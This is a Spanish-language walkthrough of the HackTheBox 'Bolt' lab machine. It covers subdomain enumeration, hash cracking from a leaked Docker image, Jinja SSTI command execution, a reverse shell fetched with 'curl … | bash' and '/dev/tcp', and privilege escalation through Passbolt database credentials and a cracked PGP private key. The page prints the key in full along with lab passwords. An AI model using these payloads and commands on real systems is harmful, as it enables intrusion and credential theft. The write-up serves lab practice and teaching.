> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/bolt-hackthebox-writeup.md). # Guía de HackTheBox Bolt Guía de la máquina HackTheBox Bolt de nivel medio Linux que cubre fuga de información, enumeración de subdominios, SSTI (inyección de plantillas del lado del servidor), abuso de PassBolt, con enumeración práctica, explotación, fo {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Filtración de información * Enumeración de subdominios * SSTI (Inyección de Plantillas del Lado del Servidor) * Abusando de PassBolt * Abusando de GPG {% endhint %} ## Reconocimiento **Configuración del espacio de trabajo:** Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

**Comprobación de conectividad VPN** Comprueba la conectividad VPN para garantizar una comunicación estable con la máquina objetivo.

**Descubrimiento de puertos abiertos con Nmap:** Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap: ```bash nmap -p- --open -sS -Pn -n --min-rate 5000 -vvv 10.10.11.114 -oG allPorts ```

**Análisis de puertos abiertos con extractPorts:** Usa la función extractPorts para mostrar los puertos abiertos en un formato conciso y copiarlos al portapapeles (22,80,443)

**Escaneo de versiones de puertos con Nmap:** Usa Nmap para escanear las versiones de los servicios y guarda la salida en el archivo "targeted": ```bash nmap -sCV -p22,80,443 10.10.11.114 -oN targeted ```

Para resolver nombres de dominio en direcciones IP mediante DNS, insertamos el nombre de dominio asociado con su dirección IP en el `/etc/hosts` .

### Puerto 80

Intentamos crear una cuenta, pero recibimos un "Error Interno del Servidor".

**Lista de posibles usuarios:** * Joseph Garth * Bonnie Green * Jose Leos

Se nos ofrece descargar un `.tar` imagen Docker, incluyendo un paquete web básico para iniciar un proyecto con un diseño elegante.

**Búsqueda de directorios:** Realizamos una búsqueda de directorios con `gobuster`: ```bash gobuster dir -u http://bolt.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` No se encontró nada interesante.

**Búsqueda de subdominios:** Buscamos subdominios con `gobuster`: ```bash gobuster vhost -u http://bolt.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 ``` Subdominios encontrados: * `demo.bolt.htb` * `mail.bolt.htb`

Los añadimos al `/etc/hosts` .

**`http://mail.blolt.htb`**

**`http://demo.bolt.htb:`**

### Fuga de información (image.tar) Buscamos información sensible en el archivo Docker `.tar` que contiene carpetas con el archivo `json`, archivo `layer.tar` y la versión.

**Extracción de archivos:** Extraemos los archivos de `layer.tar` de la siguiente manera: ```bash mkdir extracted_layers ``` ```bash find . -name "layer.tar" -exec tar -xvf {} -C extracted_layers /; ```

Abrimos el `db.sqlite3` base de datos: ```sql sqlite3 db.sqlite3 .tables Select * from user ``` Encontramos un usuario `admin` con una contraseña hasheada: * `id`: Identificador único del usuario. * `nombre de usuario`: Nombre de usuario (`admin` en este caso). * `correo electrónico`: Dirección de correo asociada (`admin@bolt.htb`). * `contraseña`: Contraseña hasheada (`$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.`).

Desciframos la contraseña con `john`: ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` `admin:deadbolt`

Iniciamos sesión en el panel de administración, pero no encontramos nada interesante salvo que usa Flask.

**Búsqueda del código de invitación:**

Buscamos el código de invitación en los archivos extraídos: ```bash grep -ri "invite_code" . ```

Un archivo Python contiene el código de invitación: `XNSS-HSJW-3NGU-8XTJ`

Creamos una nueva cuenta de usuario `jordan` con la contraseña `Jordan1234`, luego tenemos acceso a la bandeja de entrada y al panel de administración demo.

* `usuario: jordan` * `contraseña: Jordan1234`

## Vulnerabilidad SSTI : Al revisar la configuración, notamos que si cambiamos el nombre de nuestra configuración, se envía un correo de confirmación. Esto puede ser una oportunidad para un ataque SSTI.

Probamos con un payload típico: ```bash {{ 9*9 }} ``` Si el resultado es `81`, la aplicación es vulnerable.

Confirmamos que la aplicación es vulnerable y probamos la inyección de comandos con un payload de `payloadallthethings`: {% embed url="" %} ID del pedido: ```bash {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }} ```

Ejecutamos con éxito una reverse shell escuchando en el puerto 443: ```bash nc -nlvp 443 ``` Creamos un `index.html` archivo con el siguiente contenido para ejecutar una reverse shell ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.3/443 0>&1 ``` Luego iniciamos un servidor HTTP con Python: ```bash python3 -m http.server 80 ``` Enviamos el payload con `curl` para recuperar y ejecutar el comando: ```bash {{ self.__init__.__globals__.__builtins__.__import__('os').popen('curl 10.10.14.3 | bash').read() }} ```

**Estabilización de la terminal:** ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` #### Estabiliza la shell para trabajar más cómodamente. ## Escalada de privilegios: Como usuario `www-data`, estamos intentando elevar nuestros privilegios para obtener acceso root. ### Enumeración inicial con LinPEAS Usaste LinPEAS para identificar posibles vulnerabilidades en el sistema. {% embed url="" %} Comandos ejecutados: ```bash python3 -m http.server 555 ``` ```bash wget http://10.10.14.3:555/linpeas.sh ```

LinPEAS reveló un archivo de configuración que contenía información sensible: `/etc/passbolt/passbolt.php` * `host :localhost` * `puerto : 3306` * `usuario : passbolt` * `contraseña : rT2;jW7

### **Conexión a la base de datos MySQL** Usando la información para conectarnos a la base de datos: ```bash mysql -h localhost -P 3306 -u passbolt -p rT2;jW7

* **`users`**: Contiene usuarios.


`id`	`role_id`	`nombre de usuario`	`activo`	`eliminado`	`creado`	`modificado`
`4e184ee6-e436-47fb-91c9-dccb57f250bc`	`1cfcd300-0664-407e-85e6-c11664a7d86c`	`eddie@bolt.htb`	1	0	2021-02-25 21:42:50	2021-02-25 21:55:06
`9d8a0452-53dc-4640-b3a7-9a3d86b0ff90`	`975b9a56-b1b1-453c-9362-c238a85dad76`	`clark@bolt.htb`	1	0	2021-02-25 21:40:29	2021-02-25 21:42:32

* **`secretos`**: Mensajes cifrados (potencialmente explotables más adelante).

* **`gpgkeys`**: Contiene claves públicas (pueden usarse en ciertos escenarios).

Intentando conectarse con `eddie`: ```bash su eddie ``` * **Contraseña**: `rT2;jW7

### Reutilizando LinPEAS (usuario eddie) Después de obtener acceso al usuario `eddie`, reutilizamos **LinPEAS** para explorar el sistema en busca de posibles claves SSH u otras pistas útiles.

**Archivo encontrado**: Un archivo de registro que contiene posibles claves SSH: `/home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log`

### Descifrado de mensajes con GPG **Clave privada GPG**: Usamos la **GPG** herramienta para importar la clave privada e intentar descifrar el mensaje cifrado en el `secretos` tabla en la `passboltdb` base de datos. ``` -----BEGIN PGP PRIVATE KEY BLOCK----- Version: OpenPGP.js v4.10.9 Comment: https://openpgpjs.org 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 PSwYYWlAywj5 =cqxZ -----END PGP PRIVATE KEY BLOCK----- ``` #### Extracción del hash de la clave privada Para poder usar la clave privada, primero debemos obtener su **hash**. Usamos la **gpg2john** herramienta para extraer el hash de la clave privada: ```bash gpg2john private.key > hash ```

**Fuerza bruta de la contraseña de la clave privada con `john`** Usamos **John the Ripper** para realizar un ataque de diccionario y descubrir la contraseña de la clave privada. Usamos la lista de palabras **rockyou.txt** para esto: ```bash john -wordlist=/usr/share/wordlists/rockyou.txt hash ``` **Contraseña encontrada**: `merrychristmas`

#### Importación de la clave privada y descifrado del mensaje Importamos la clave privada con **gpg** ```bash gpg --import private.key ```

Luego, desciframos el mensaje cifrado (probablemente contenido en el `message.txt` archivo obtenido de la `secretos` base de datos): ```bash gpg --decrypt message.txt ``` **Contraseña de root encontrada**: `Z(2rmxsNW(Z?3=p/9s`

### Bandera root.txt

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/bolt-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.